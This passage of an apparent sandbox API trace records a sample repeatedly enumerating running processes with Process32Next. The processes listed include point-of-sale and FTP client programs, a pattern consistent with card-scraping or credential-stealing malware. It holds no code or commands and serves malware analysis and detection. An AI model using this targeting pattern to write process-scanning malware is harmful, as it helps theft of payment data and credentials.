Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0119.922] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0119.925] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0119.927] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0119.929] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0119.931] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0119.933] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0119.935] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0119.937] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0119.939] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0119.942] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0119.944] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0119.946] Process32Next (in: hSnapshot=0x20bc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0119.953] CloseHandle (hObject=0x20bc) returned 1 [0119.953] Sleep (dwMilliseconds=0x64) [0120.053] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x207c [0120.076] Process32First (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0120.078] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0120.081] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0120.084] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.087] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0120.102] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0120.105] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0120.108] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0120.111] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0120.114] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.116] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.119] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0120.123] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.126] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.129] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.131] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.134] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.137] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.140] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.142] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.144] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0120.148] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.151] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.153] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0120.156] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0120.158] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0120.161] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.163] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0120.165] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0120.168] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0120.171] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.174] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0120.176] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0120.178] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0120.181] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.184] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0120.186] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.188] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0120.190] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0120.192] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0120.195] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0120.198] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0120.201] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0120.203] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0120.206] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0120.213] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0120.216] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0120.219] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0120.222] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0120.224] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0120.227] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0120.231] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0120.233] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0120.265] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0120.268] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0120.271] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0120.275] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0120.279] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0120.282] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0120.286] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0120.290] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0120.294] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0120.298] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0120.301] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0120.304] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0120.307] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0120.311] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0120.315] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0120.318] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0120.321] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0120.325] Process32Next (in: hSnapshot=0x207c, lppe=0x100cfe20 | 